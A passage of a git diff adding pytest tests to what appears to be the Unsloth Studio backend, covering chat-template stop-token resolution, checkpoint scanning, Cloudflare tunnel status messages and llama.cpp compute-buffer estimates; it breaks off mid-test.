+    assert _normalize_tool_call_arguments(conv) is conv
+
+
+class _RaiseExceptionTemplateTokenizer:
+    """Mimics the bundled gemma-4.jinja: rejects string tool_call arguments via
+    ``raise_exception(...)``, which surfaces as a Jinja error, NOT a TypeError."""
+
+    def apply_chat_template(
+        self,
+        messages,
+        *,
+        tokenize = False,
+        add_generation_prompt = True,
+        **kw,
+    ):
+        for msg in messages:
+            for call in msg.get("tool_calls", []) or []:
+                args = call.get("function", {}).get("arguments")
+                if isinstance(args, str):
+                    raise ValueError(
+                        "chat_template: tool_calls[].function.arguments must be a "
+                        "JSON object (mapping), not a string."
+                    )
+        return "RENDERED"
+
+
+def test_render_succeeds_on_raise_exception_template_with_string_arguments():
+    # Regression: gemma-4.jinja rejects string args via a non-TypeError; retry must still coerce.
+    result = apply_chat_template_for_generation(
+        _RaiseExceptionTemplateTokenizer(), _conv('{"query": "x"}')
+    )
+    assert result == "RENDERED"
+
+
+def test_unrelated_template_error_still_propagates_with_dict_args():
+    # Failure unrelated to string args (dict args, nothing to coerce) must propagate.
+    class _AlwaysRaises:
+        def apply_chat_template(self, messages, **kw):
+            raise ValueError("template is broken")
+
+    with pytest.raises(ValueError, match = "broken"):
+        apply_chat_template_for_generation(_AlwaysRaises(), _conv({"query": "x"}))
diff --git a/studio/backend/tests/test_chat_turn_end_eos.py b/studio/backend/tests/test_chat_turn_end_eos.py
new file mode 100644
index 0000000000..c49e39f8fe
--- /dev/null
+++ b/studio/backend/tests/test_chat_turn_end_eos.py
@@ -0,0 +1,150 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""chat_eos: resolve assistant-turn-end stop tokens from the chat_template and
+repair generation_config so a chat model whose eos is a bare document terminator
+(Qwen3.5: config eos <|endoftext|>, turns end with <|im_end|>) stops at the turn
+boundary instead of running past it and looping. Dependency-light: imported here
+without the full inference stack.
+"""
+
+from __future__ import annotations
+
+import sys
+from pathlib import Path
+
+_BACKEND = Path(__file__).resolve().parent.parent
+if str(_BACKEND) not in sys.path:
+    sys.path.insert(0, str(_BACKEND))
+
+from core.inference.chat_eos import (  # noqa: E402
+    chat_eos_repair,
+    resolve_chat_turn_end_eos_ids,
+    resolve_chat_turn_end_eos_ids_using,
+)
+
+
+class _FakeTokenizer:
+    def __init__(
+        self,
+        eos_id,
+        chat_template = "",
+        token_ids = None,
+        unk_token_id = None,
+    ):
+        self.eos_token_id = eos_id
+        self.chat_template = chat_template
+        self.unk_token_id = unk_token_id
+        self._ids = dict(token_ids or {})
+
+    def convert_tokens_to_ids(self, tok):
+        return self._ids.get(tok, self.unk_token_id)
+
+
+# ---- resolve_chat_turn_end_eos_ids ---------------------------------------
+
+_CHATML = "{% for m in messages %}<|im_start|>{{m.role}}\n{{m.content}}<|im_end|>{% endfor %}"
+
+
+def test_qwen35_adds_im_end_from_template():
+    # eos synced to <|endoftext|> (248044); template uses <|im_end|> (248046).
+    tok = _FakeTokenizer(248044, chat_template = _CHATML, token_ids = {"<|im_end|>": 248046})
+    assert resolve_chat_turn_end_eos_ids(tok) == [248044, 248046]
+
+
+def test_marker_in_vocab_but_not_in_template_is_ignored():
+    # Base/coder model: <|im_end|> is in the vocab but the template does not use
+    # it, so it must not become a stop token.
+    tok = _FakeTokenizer(248044, chat_template = "{{ messages }}", token_ids = {"<|im_end|>": 248046})
+    assert resolve_chat_turn_end_eos_ids(tok) == [248044]
+
+
+def test_harmony_template_is_left_untouched():
+    # gpt-oss/harmony: <|end|> is a channel delimiter, not the turn end.
+    harmony = "<|start|>assistant<|channel|>analysis<|message|>...<|end|>"
+    tok = _FakeTokenizer(200002, chat_template = harmony, token_ids = {"<|end|>": 200007})
+    assert resolve_chat_turn_end_eos_ids(tok) == [200002]
+
+
+def test_llama3_eot_id_from_template():
+    tok = _FakeTokenizer(128001, chat_template = "...<|eot_id|>...", token_ids = {"<|eot_id|>": 128009})
+    assert resolve_chat_turn_end_eos_ids(tok) == [128001, 128009]
+
+
+def test_gemma4_turn_marker_from_template():
+    # Gemma-4 ends turns with <turn|> while keeping a document eos, so <turn|> must
+    # be added as a stop token.
+    tok = _FakeTokenizer(
+        1, chat_template = "...<start_of_turn>...<turn|>...", token_ids = {"<turn|>": 106}
+    )
+    assert resolve_chat_turn_end_eos_ids(tok) == [1, 106]
+
+
+def test_resolve_using_reads_markers_from_template_but_ids_from_generation_tokenizer():
+    # map_eos_token=True: the mapped template remaps <|im_end|> onto the doc-eos id,
+    # but the original keeps it atomic. Reading marker STRINGS from the template but
+    # IDS on the original recovers the real turn-end id (7), not the doc-eos id (2).
+    template_tok = _FakeTokenizer(2, chat_template = _CHATML, token_ids = {"<|im_end|>": 2})
+    id_tok = _FakeTokenizer(2, chat_template = "", token_ids = {"<|im_end|>": 7})
+    assert resolve_chat_turn_end_eos_ids_using(template_tok, id_tok) == [2, 7]
+    # Same tokenizer for both reproduces the plain resolve (load-time behaviour).
+    assert resolve_chat_turn_end_eos_ids_using(template_tok, template_tok) == [2]
+
+
+def test_list_eos_preserved():
+    tok = _FakeTokenizer([1, 2], chat_template = _CHATML, token_ids = {"<|im_end|>": 2})
+    assert resolve_chat_turn_end_eos_ids(tok) == [1, 2]
+
+
+def test_missing_marker_maps_to_unk_and_is_skipped():
+    tok = _FakeTokenizer(7, chat_template = _CHATML, token_ids = {}, unk_token_id = 0)
+    assert resolve_chat_turn_end_eos_ids(tok) == [7]
+
+
+def test_starling_barred_end_of_turn_from_template():
+    # OpenChat/Starling end turns with the BARRED <|end_of_turn|> (distinct from
+    # Gemma's <end_of_turn>). eos synced to </s>=2, turn marker at 32000.
+    starling = "GPT4 Correct Assistant: hi<|end_of_turn|>"
+    tok = _FakeTokenizer(2, chat_template = starling, token_ids = {"<|end_of_turn|>": 32000})
+    assert resolve_chat_turn_end_eos_ids(tok) == [2, 32000]
+
+
+def test_dict_chat_template_scans_all_variants():
+    # Hermes-3 style: chat_template is a {name: template} dict. Detection must scan
+    # every variant, not bail because the container is not a plain str.
+    tmpl = {"default": "{{ messages }}", "tool_use": _CHATML}
+    tok = _FakeTokenizer(2, chat_template = tmpl, token_ids = {"<|im_end|>": 5})
+    assert resolve_chat_turn_end_eos_ids(tok) == [2, 5]
+
+
+def test_list_of_dicts_chat_template_scans_all_variants():
+    # tokenizer_config.json stores multi-templates as a list of {name, template}.
+    tmpl = [{"name": "default", "template": _CHATML}]
+    tok = _FakeTokenizer(2, chat_template = tmpl, token_ids = {"<|im_end|>": 5})
+    assert resolve_chat_turn_end_eos_ids(tok) == [2, 5]
+
+
+def test_dict_harmony_template_left_untouched():
+    # A multi-variant container whose variant is harmony must still be left alone.
+    tmpl = {"default": "<|start|>assistant<|channel|>analysis<|message|>...<|end|>"}
+    tok = _FakeTokenizer(200002, chat_template = tmpl, token_ids = {"<|end|>": 200007})
+    assert resolve_chat_turn_end_eos_ids(tok) == [200002]
+
+
+# ---- chat_eos_repair ------------------------------------------------------
+
+
+def test_repair_adds_missing_turn_end():
+    assert chat_eos_repair(248044, [248044, 248046]) == [248044, 248046]
+
+
+def test_repair_from_missing_generation_config_eos():
+    assert chat_eos_repair(None, [248046]) == [248046]
+
+
+def test_repair_noop_when_already_covered():
+    assert chat_eos_repair([248046, 248044], [248046]) is None
+
+
+def test_repair_noop_when_no_turn_end_ids():
+    assert chat_eos_repair(248044, []) is None
diff --git a/studio/backend/tests/test_checkpoints_scan.py b/studio/backend/tests/test_checkpoints_scan.py
new file mode 100644
index 0000000000..6d473146f5
--- /dev/null
+++ b/studio/backend/tests/test_checkpoints_scan.py
@@ -0,0 +1,256 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+import json
+import sqlite3
+import sys
+import types as _types
+from pathlib import Path
+
+_BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
+if _BACKEND_DIR not in sys.path:
+    sys.path.insert(0, _BACKEND_DIR)
+
+_loggers_stub = _types.ModuleType("loggers")
+_loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
+sys.modules.setdefault("loggers", _loggers_stub)
+sys.modules.setdefault("structlog", _types.ModuleType("structlog"))
+
+from utils.models import checkpoints as checkpoints_module
+from utils.training_runs import build_default_output_dir_name
+
+
+def _make_history_connection(db_path: Path) -> sqlite3.Connection:
+    conn = sqlite3.connect(str(db_path))
+    conn.row_factory = sqlite3.Row
+    return conn
+
+
+def _setup_training_runs_table(db_path: Path) -> None:
+    conn = _make_history_connection(db_path)
+    try:
+        conn.execute(
+            """
+            CREATE TABLE training_runs (
+                id TEXT PRIMARY KEY,
+                model_name TEXT NOT NULL,
+                config_json TEXT NOT NULL,
+                output_dir TEXT,
+                started_at TEXT NOT NULL
+            )
+            """
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+
+def _make_outputs_dir(tmp_path, monkeypatch) -> Path:
+    studio_home = tmp_path / "studio-home"
+    outputs_dir = studio_home / "outputs"
+    outputs_dir.mkdir(parents = True)
+    monkeypatch.setenv("UNSLOTH_STUDIO_HOME", str(studio_home))
+    return outputs_dir
+
+
+def test_scan_checkpoints_uses_output_dir_history_for_base_model(tmp_path, monkeypatch):
+    outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
+    run_dir = outputs_dir / "custom-run"
+    run_dir.mkdir()
+    (run_dir / "config.json").write_text("{}")
+
+    db_path = tmp_path / "studio.db"
+    _setup_training_runs_table(db_path)
+    conn = _make_history_connection(db_path)
+    try:
+        conn.execute(
+            """
+            INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at)
+            VALUES (?, ?, ?, ?, ?)
+            """,
+            (
+                "run-1",
+                "unsloth/Llama-3.2-3B-Instruct",
+                "{}",
+                str(run_dir.resolve()),
+                "2026-04-09T00:00:00Z",
+            ),
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+    monkeypatch.setattr(
+        checkpoints_module,
+        "get_connection",
+        lambda: _make_history_connection(db_path),
+    )
+
+    models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
+
+    assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct"
+
+
+def test_scan_checkpoints_matches_project_suffixed_default_dir_against_history(
+    tmp_path, monkeypatch
+):
+    outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
+    run_name = build_default_output_dir_name(
+        "unsloth/Llama-3.2-3B-Instruct",
+        "Customer Support",
+        timestamp = 1771227800,
+    )
+    run_dir = outputs_dir / run_name
+    run_dir.mkdir()
+    (run_dir / "config.json").write_text("{}")
+
+    db_path = tmp_path / "studio.db"
+    _setup_training_runs_table(db_path)
+    conn = _make_history_connection(db_path)
+    try:
+        conn.execute(
+            """
+            INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at)
+            VALUES (?, ?, ?, ?, ?)
+            """,
+            (
+                "run-2",
+                "unsloth/Llama-3.2-3B-Instruct",
+                json.dumps({"project_name": "Customer Support"}),
+                None,
+                "2026-04-09T00:00:00Z",
+            ),
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+    monkeypatch.setattr(
+        checkpoints_module,
+        "get_connection",
+        lambda: _make_history_connection(db_path),
+    )
+
+    models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
+
+    assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct"
+
+
+def test_scan_checkpoints_strips_project_suffix_without_history(tmp_path, monkeypatch):
+    outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
+    run_name = build_default_output_dir_name(
+        "unsloth/Llama-3.2-3B-Instruct",
+        "Customer Support",
+        timestamp = 1771227800,
+    )
+    run_dir = outputs_dir / run_name
+    run_dir.mkdir()
+    (run_dir / "config.json").write_text("{}")
+
+    db_path = tmp_path / "studio.db"
+    _setup_training_runs_table(db_path)
+    monkeypatch.setattr(
+        checkpoints_module,
+        "get_connection",
+        lambda: _make_history_connection(db_path),
+    )
+
+    models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
+
+    assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct"
+
+
+def test_scan_checkpoints_preserves_project_marker_in_model_without_history(tmp_path, monkeypatch):
+    outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
+    run_name = build_default_output_dir_name(
+        "org/foo__project-bar",
+        timestamp = 1771227800,
+    )
+    run_dir = outputs_dir / run_name
+    run_dir.mkdir()
+    (run_dir / "config.json").write_text("{}")
+
+    db_path = tmp_path / "studio.db"
+    _setup_training_runs_table(db_path)
+    monkeypatch.setattr(
+        checkpoints_module,
+        "get_connection",
+        lambda: _make_history_connection(db_path),
+    )
+
+    models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
+
+    assert models[0][2]["base_model"] == "org/foo__project-bar"
+
+
+def test_scan_checkpoints_preserves_legacy_folder_name_fallback(tmp_path, monkeypatch):
+    outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
+    run_dir = outputs_dir / "unsloth_Llama-3.2-3B-Instruct_1771227800"
+    run_dir.mkdir()
+    (run_dir / "config.json").write_text("{}")
+
+    db_path = tmp_path / "studio.db"
+    _setup_training_runs_table(db_path)
+    monkeypatch.setattr(
+        checkpoints_module,
+        "get_connection",
+        lambda: _make_history_connection(db_path),
+    )
+
+    models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
+
+    assert models[0][2]["base_model"] == "unsloth/Llama-3.2-3B-Instruct"
+
+
+def test_scan_checkpoints_prefers_exact_history_match_over_newer_suffix(tmp_path, monkeypatch):
+    outputs_dir = _make_outputs_dir(tmp_path, monkeypatch)
+    run_dir = outputs_dir / "unsloth_Test_1771227800"
+    run_dir.mkdir()
+    (run_dir / "config.json").write_text("{}")
+
+    copied_dir = tmp_path / "copied" / run_dir.name
+    copied_dir.mkdir(parents = True)
+
+    db_path = tmp_path / "studio.db"
+    _setup_training_runs_table(db_path)
+    conn = _make_history_connection(db_path)
+    try:
+        conn.execute(
+            """
+            INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at)
+            VALUES (?, ?, ?, ?, ?)
+            """,
+            (
+                "run-exact",
+                "correct/base",
+                "{}",
+                str(run_dir.resolve()),
+                "2026-04-09T00:00:00Z",
+            ),
+        )
+        conn.execute(
+            """
+            INSERT INTO training_runs (id, model_name, config_json, output_dir, started_at)
+            VALUES (?, ?, ?, ?, ?)
+            """,
+            (
+                "run-suffix",
+                "wrong/base",
+                "{}",
+                str(copied_dir.resolve()),
+                "2026-04-10T00:00:00Z",
+            ),
+        )
+        conn.commit()
+    finally:
+        conn.close()
+
+    monkeypatch.setattr(
+        checkpoints_module,
+        "get_connection",
+        lambda: _make_history_connection(db_path),
+    )
+
+    models = checkpoints_module.scan_checkpoints(outputs_dir = str(outputs_dir))
+
+    assert models[0][2]["base_model"] == "correct/base"
diff --git a/studio/backend/tests/test_cloudflare_tunnel.py b/studio/backend/tests/test_cloudflare_tunnel.py
index 8042240b64..7904c70a7b 100644
--- a/studio/backend/tests/test_cloudflare_tunnel.py
+++ b/studio/backend/tests/test_cloudflare_tunnel.py
@@ -11,6 +11,7 @@ checked by AST so we never import its heavy deps (uvicorn/structlog).
 import ast
 import importlib.util
 import io
+import os
 import sys
 import tarfile
 import types
@@ -136,7 +137,9 @@ def test_ensure_downloads_and_chmods_when_missing(monkeypatch, tmp_path):
     path = ct.ensure_cloudflared()
     assert path == str(cached)
     assert cached.exists()
-    assert cached.stat().st_mode & 0o111  # executable bit set
+    # Host OS, not monkeypatched ct.sys.platform.
+    if os.name != "nt":
+        assert cached.stat().st_mode & 0o111
 
 
 def test_ensure_returns_none_on_download_failure(monkeypatch, tmp_path):
@@ -238,7 +241,8 @@ def test_ensure_macos_extracts_tgz_and_chmods(monkeypatch, tmp_path):
     path = ct.ensure_cloudflared()
     assert path == str(cached)
     assert cached.read_bytes() == b"mach-o"
-    assert cached.stat().st_mode & 0o111  # chmod applied on posix
+    if os.name != "nt":
+        assert cached.stat().st_mode & 0o111
     assert not cached.with_suffix(".tgz").exists()  # temp archive cleaned up
 
 
@@ -696,6 +700,28 @@ def test_argparse_cloudflare_default_true():
     assert _argparse_default(_RUN_PY.read_text(), "--cloudflare") is True
 
 
+def test_verify_global_reachability_marks_private_address_unreachable():
+    src = _RUN_PY.read_text()
+    tree = ast.parse(src)
+    func_src = next(
+        ast.get_source_segment(src, n)
+        for n in ast.walk(tree)
+        if isinstance(n, ast.FunctionDef) and n.name == "_verify_global_reachability"
+    )
+    captured = []
+    ns = {
+        "_public_reachable": None,
+        "_stdout_color_ok": lambda: False,
+        "_url_host": lambda host: host,
+        "print": lambda *a, **k: captured.append(" ".join(str(x) for x in a)),
+    }
+    exec(compile(func_src, "<verify_global_reachability>", "exec"), ns)
+    ns["_verify_global_reachability"]("192.168.1.10", 8888)
+
+    assert ns["_public_reachable"] is False
+    assert "private/LAN address" in "\n".join(captured)
+
+
 def test_run_server_registers_tunnel_atexit_backstop():
     # An abnormal exit (exception after startup -> sys.exit) bypasses
     # _graceful_shutdown; an atexit backstop must still stop the tunnel.
@@ -703,16 +729,18 @@ def test_run_server_registers_tunnel_atexit_backstop():
     assert "atexit.register(stop_studio_tunnel)" in src
 
 
-def test_run_server_gates_tunnel_on_wildcard():
-    # Guard against accidentally widening the trigger beyond 0.0.0.0.
-    source = _RUN_PY.read_text()
-    assert "_cloudflare_enabled" in source
-    assert 'host == "0.0.0.0"' in source
-
-
-def _run_print_cloudflare_line(monkeypatch, *, cloudflare_url, public_reachable):
-    """Exec the real _print_cloudflare_line source in isolation (run.py has heavy
-    deps), with the two module globals injected and startup_banner stubbed."""
+def _run_print_cloudflare_line(
+    monkeypatch,
+    *,
+    cloudflare_url,
+    public_reachable,
+    cloudflare_requested = False,
+    cloudflare_flag = True,
+    secure = False,
+    loopback_host = "127.0.0.1",
+    color = False,
+):
+    """Exec _print_cloudflare_line without importing run.py's heavy deps."""
     src = _RUN_PY.read_text()
     tree = ast.parse(src)
     func_src = next(
@@ -721,16 +749,18 @@ def _run_print_cloudflare_line(monkeypatch, *, cloudflare_url, public_reachable)
         if isinstance(n, ast.FunctionDef) and n.name == "_print_cloudflare_line"
     )
     stub = types.ModuleType("startup_banner")
-    stub.stdout_supports_color = lambda: False
+    stub.stdout_supports_color = lambda: color
     monkeypatch.setitem(sys.modules, "startup_banner", stub)
     captured: list[str] = []
     ns = {
         "_cloudflare_url": cloudflare_url,
         "_public_reachable": public_reachable,
+        "_cloudflare_requested": cloudflare_requested,
+        "_cloudflare_flag": cloudflare_flag,
         "print": lambda *a, **k: captured.append(" ".join(str(x) for x in a)),
     }
     exec(compile(func_src, "<print_cloudflare_line>", "exec"), ns)
-    ns["_print_cloudflare_line"]()
+    ns["_print_cloudflare_line"](secure = secure, loopback_host = loopback_host)
     return "\n".join(captured)
 
 
@@ -750,7 +780,6 @@ def test_cloudflare_line_default_wording_when_reachable(monkeypatch):
 
 
 def test_cloudflare_line_default_wording_when_unknown(monkeypatch):
-    # Probe did not run / could not decide -> keep the existing wording.
     out = _run_print_cloudflare_line(
         monkeypatch, cloudflare_url = "https://x.trycloudflare.com", public_reachable = None
     )
@@ -758,6 +787,136 @@ def test_cloudflare_line_default_wording_when_unknown(monkeypatch):
     assert "Use the secure link" not in out
 
 
-def test_cloudflare_line_prints_nothing_without_tunnel(monkeypatch):
+def test_cloudflare_line_states_inactive_when_enabled_but_not_requested(monkeypatch):
     out = _run_print_cloudflare_line(monkeypatch, cloudflare_url = None, public_reachable = False)
-    assert out == ""
+    assert "Cloudflare tunnel: OFF for this mode" in out
+    assert "local network only" in out
+
+
+def test_cloudflare_line_warns_when_public_url_up(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = "https://x.trycloudflare.com",
+        public_reachable = True,
+        cloudflare_requested = True,
+    )
+    assert "Secure link access via Cloudflare: https://x.trycloudflare.com" in out
+    assert "Cloudflare tunnel: ON" in out
+    assert "PUBLIC" in out
+    assert "--no-cloudflare" in out
+    assert "raw port is also publicly reachable" in out
+    assert "local network only" not in out
+
+
+def test_cloudflare_line_secure_mode_suppresses_public_warning(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = "https://x.trycloudflare.com",
+        public_reachable = True,
+        cloudflare_requested = True,
+        secure = True,
+    )
+    assert "Secure link access via Cloudflare: https://x.trycloudflare.com" in out
+    assert "Cloudflare tunnel: ON" not in out
+
+
+def test_cloudflare_line_states_disabled_when_off(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = False,
+        cloudflare_requested = False,
+        cloudflare_flag = False,
+    )
+    assert "Cloudflare tunnel: OFF" in out
+    assert "local network only" in out
+
+
+def test_cloudflare_line_states_failed_when_requested_but_no_url(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = False,
+        cloudflare_requested = True,
+        cloudflare_flag = True,
+    )
+    assert "requested but failed to start" in out
+    assert "local network only" in out
+
+
+def test_cloudflare_line_off_does_not_claim_local_only_when_unknown(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = None,
+        cloudflare_requested = False,
+        cloudflare_flag = False,
+    )
+    assert "Cloudflare tunnel: OFF" in out
+    assert "Raw port reachability was not verified" in out
+    assert "local network only" not in out
+
+
+def test_cloudflare_line_failed_does_not_claim_local_only_when_unknown(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = None,
+        cloudflare_requested = True,
+        cloudflare_flag = True,
+    )
+    assert "requested but failed to start" in out
+    assert "Raw port reachability was not verified" in out
+    assert "local network only" not in out
+
+
+@pytest.mark.parametrize(
+    "cloudflare_requested,cloudflare_flag,expected",
+    [
+        (True, True, "requested but failed to start"),
+        (False, True, "Cloudflare tunnel: OFF for this mode"),
+        (False, False, "Cloudflare tunnel: OFF"),
+    ],
+)
+def test_cloudflare_line_unknown_warns_with_loopback_host(
+    monkeypatch, cloudflare_requested, cloudflare_flag, expected
+):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = None,
+        cloudflare_requested = cloudflare_requested,
+        cloudflare_flag = cloudflare_flag,
+        loopback_host = "::1",
+        color = True,
+    )
+    assert expected in out
+    assert "bind ::1" in out
+    assert "bind 127.0.0.1" not in out
+    assert "\033[38;5;215;1m" in out
+
+
+def test_cloudflare_line_off_does_not_claim_local_only_when_publicly_reachable(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = True,
+        cloudflare_requested = False,
+        cloudflare_flag = False,
+    )
+    assert "Cloudflare tunnel: OFF" in out
+    assert "reachable from the public internet" in out
+    assert "local network only" not in out
+
+
+def test_cloudflare_line_failed_does_not_claim_local_only_when_publicly_reachable(monkeypatch):
+    out = _run_print_cloudflare_line(
+        monkeypatch,
+        cloudflare_url = None,
+        public_reachable = True,
+        cloudflare_requested = True,
+        cloudflare_flag = True,
+    )
+    assert "requested but failed to start" in out
+    assert "reachable from the public internet" in out
+    assert "local network only" not in out
diff --git a/studio/backend/tests/test_compute_buffer.py b/studio/backend/tests/test_compute_buffer.py
index 42c400383e..5d14c5c5bd 100644
--- a/studio/backend/tests/test_compute_buffer.py
+++ b/studio/backend/tests/test_compute_buffer.py
@@ -61,11 +61,16 @@ from core.inference.llama_cpp import LlamaCppBackend
 MIB = 1024 * 1024
 
 
-def _backend(vocab = 248320, embd = 5120):
+def _backend(
+    vocab = 248320,
+    embd = 5120,
+    mla = None,
+):
     """Backend with just the dims the compute-buffer estimate reads."""
     b = LlamaCppBackend.__new__(LlamaCppBackend)
     b._vocab_size = vocab
     b._embedding_length = embd
+    b._key_length_mla = mla  # non-None -> MLA (compressed attention)
     return b
 
 
@@ -150,3 +155,138 @@ class TestParallel1Default:
     def test_default_n_parallel(self):
         est = _backend()._estimate_compute_buffer_bytes() / MIB
         assert est < 128
+
+
+class TestContextLinearBuffer:
+    """``_compute_buffer_ctx_bytes``: the flash-attn KQ-mask + attention scratch
+    grow ~linearly with context; the flat estimate above only covers ctx -> 0.
+    Measured slope (q8_0 KV, ubatch 512) was 0.74-2.02 x n_embd; 2 x n_embd is the
+    worst-case upper bound the term must hold to."""
+
+    # (model, n_embd, ctx, measured CUDA0 compute buffer MiB at that ctx, q8_0/ub512)
+    _MEASURED = [
+        ("Qwen3.5-2B", 2048, 262144, 796),
+        ("Qwen3.5-4B", 2560, 262144, 1330),  # worst slope, 2.02 x n_embd
+        ("Qwen3.5-9B", 4096, 262144, 1336),
+        ("Qwen3.6-27B", 5120, 262144, 1360),
+        ("Gemma-4-31B", 5376, 262144, 2392),
+    ]
+
+    def test_zero_by_default(self):
+        # Omitted/zero ctx -> no term (keeps the flat callers unchanged).
+        assert _backend()._compute_buffer_ctx_bytes(0) == 0
+
+    def test_zero_when_embd_missing(self):
+        assert _backend(embd = None)._compute_buffer_ctx_bytes(262144) == 0
+
+    def test_grows_linearly_with_context(self):
+        b = _backend(embd = 4096)
+        a = b._compute_buffer_ctx_bytes(65536)
+        d = b._compute_buffer_ctx_bytes(131072)
+        assert d == pytest.approx(2 * a, rel = 1e-6)
+
+    def test_scales_with_embd(self):
+        # The quantized (dequant-scratch) rate scales with n_embd; f16 (mask) does not.
+        small = _backend(embd = 2048)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
+        big = _backend(embd = 5120)._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
+        assert big > small
+
+    def test_scales_with_ubatch(self):
+        b = _backend(embd = 4096)
+        lo = b._compute_buffer_ctx_bytes(131072, n_ubatch = 256)
+        hi = b._compute_buffer_ctx_bytes(131072, n_ubatch = 1024)
+        assert hi > lo
+
+    @pytest.mark.parametrize("name,embd,ctx,measured", _MEASURED)
+    def test_upper_bounds_measured_compute_growth(self, name, embd, ctx, measured):
+        # flat term + context-linear term must cover the real (q8_0) buffer at full ctx.
+        b = _backend(embd = embd)
+        flat = b._estimate_compute_buffer_bytes(n_parallel = 1)
+        total = (flat + b._compute_buffer_ctx_bytes(ctx, cache_type_kv = "q8_0")) / MIB
+        assert total >= measured, f"{name}: under-reserved {total:.0f} < {measured}"
+
+    def test_worst_case_rate_covers_two_x_embd(self):
+        # >= 2 x n_embd bytes per context token at the default micro-batch (the worst
+        # measured quantized slope, Qwen3.5-4B), so flat + term upper-bounds the buffer.
+        embd = 4096
+        b = _backend(embd = embd)
+        per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = "q8_0") / 100000
+        assert per_tok >= 2 * embd
+
+
+class TestContextBufferKVQuant:
+    """The context-linear rate depends on the KV cache type: a quantized cache adds a
+    context-sized dequant scratch (heavy); f16/bf16/f32 only pays the KQ mask (light).
+    Measured Qwen3.5-4B at 256k: 1.30 GiB (q8_0) vs 0.31 GiB (f16)."""
+
+    def test_quantized_heavier_than_f16(self):
+        b = _backend(embd = 4096)
+        q = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "q8_0")
+        f = b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16")
+        assert q > f
+
+    def test_none_cache_type_is_f16(self):
+        # None -> f16 (llama.cpp's default); the env-quantized case is covered by the
+        # KV budget's f16 over-reservation, so we take the lighter mask-only rate.
+        b = _backend(embd = 4096)
+        assert b._compute_buffer_ctx_bytes(
+            131072, cache_type_kv = None
+        ) == b._compute_buffer_ctx_bytes(131072, cache_type_kv = "f16")
+
+    @pytest.mark.parametrize("ct", ["f16", "bf16", "f32"])
+    def test_unquantized_uses_mask_only_rate(self, ct):
+        # f16/bf16/f32: KQ mask only, n_ubatch*2 B/tok, independent of n_embd.
+        b_small = _backend(embd = 2048)
+        b_big = _backend(embd = 8192)
+        per_small = b_small._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
+        per_big = b_big._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
+        assert per_small == per_big  # no n_embd scaling on the f16 path
+        expected = 512 * 2 * LlamaCppBackend._CTX_COMPUTE_F16_MASK_SAFETY  # ubatch 512
+        assert per_small == pytest.approx(expected, rel = 1e-6)
+
+    @pytest.mark.parametrize("ct", ["q8_0", "q5_1", "q4_0", "iq4_nl"])
+    def test_quantized_types_use_heavy_rate(self, ct):
+        embd = 4096
+        b = _backend(embd = embd)
+        per_tok = b._compute_buffer_ctx_bytes(100000, cache_type_kv = ct) / 100000
+        assert per_tok == pytest.approx(
+            LlamaCppBackend._CTX_COMPUTE_BYTES_PER_EMBD * embd, rel = 1e-6
+        )
+
+    def test_f16_covers_measured_mask(self):
+        # f16 buffer is ~mask only (~n_ubatch*2 B/tok); 0.5 x n_embd must cover the
+        # measured Qwen3.5-4B f16 slope (~0.4 x n_embd = 0.31 GiB at 256k).
+        b = _backend(embd = 2560)  # Qwen3.5-4B
+        est = b._compute_buffer_ctx_bytes(262144, cache_type_kv = "f16") / MIB
+        assert est >= 320  # measured 0.31 GiB growth
+
+
+class TestContextBufferMLA:
+    """MLA (compressed attention) needs a smaller quantized dequant scratch than
+    regular attention: measured 0.94 x n_embd on GLM-5.2 and Kimi-K2.7 vs up to
+    2.02x on Qwen/Gemma. Charging the regular rate would badly over-reserve a tight
+    multi-GPU MLA pin (per-device scaling multiplies the error)."""
+
+    def test_mla_lighter_than_regular(self):
+        reg = _backend(embd = 6144, mla = None)._compute_buffer_ctx_bytes(262144, cache_type_kv = "q8_0")
